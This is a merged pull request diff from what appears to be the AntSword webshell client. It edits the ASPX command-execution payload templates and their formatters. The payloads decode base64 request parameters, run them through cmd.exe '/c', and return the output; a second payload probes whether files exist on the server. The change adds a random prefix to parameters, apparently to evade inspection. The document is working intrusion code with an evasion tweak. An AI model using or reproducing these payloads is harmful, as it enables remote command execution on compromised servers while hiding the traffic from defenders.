Merge pull request #252 from yzddmr6/v2.1.x

Bug Fix & 给aspx增加随机前缀

source/core/asp/index.js

@@ -77,7 +77,7 @@ class ASP extends Base {
     // let formatter = new this.format(this.__opts__['encode']);
     let formatter = Base
       .prototype
-      .format(this.__opts__['encode']);
+      .format(this.__opts__);
 
     // hex编码一次数据
     let hexCode = formatter['hex'](data['_']);

source/core/aspx/index.js

@@ -79,7 +79,7 @@ class ASPX extends Base {
     // let formatter = new this.format(this.__opts__['encode']);
     let formatter = Base
       .prototype
-      .format(this.__opts__['encode']);
+      .format(this.__opts__);
 
     let aspxencode = this.__opts__['encode'];
 

source/core/aspx/template/command.js

@@ -4,16 +4,16 @@
 
 module.exports = (arg1, arg2, arg3) => ({
   exec: {
-    _: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
+    _: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))));
     var e=new System.Diagnostics.Process();
     var out:System.IO.StreamReader,EI:System.IO.StreamReader;
     c.UseShellExecute=false;
     c.RedirectStandardOutput=true;
     c.RedirectStandardError=true;
     e.StartInfo=c;
-    c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
-    if(Request.Item["${arg3}"]) {
-      var envstr = System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg3}"]));
+    c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));
+    if(Request.Item["${arg3}"].substr(#randomPrefix#)) {
+      var envstr = System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg3}"].substr(#randomPrefix#)));
       var envarr = envstr.split("|||asline|||");
       var i;
       for (var i in envarr) {
@@ -29,17 +29,17 @@ module.exports = (arg1, arg2, arg3) => ({
     EI=e.StandardError;
     e.Close();
     Response.Write(out.ReadToEnd() + EI.ReadToEnd());`.replace(/\n\s+/g, ''),
-    [arg1]: "#{base64::bin}",
-    [arg2]: "#{base64::cmd}",
-    [arg3]: "#{base64::env}"
+    [arg1]: "#{newbase64::bin}",
+    [arg2]: "#{newbase64::cmd}",
+    [arg3]: "#{newbase64::env}"
   },
   listcmd: {
-    _: `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
+    _: `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));
       var ss=binarr.split(",");
       var i;
       for(var i in ss){
         Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
       }`.replace(/\n\s+/g, ''),
-    [arg1]: "#{base64::binarr}"
+    [arg1]: "#{newbase64::binarr}"
   }
 })
\ No newline at end of file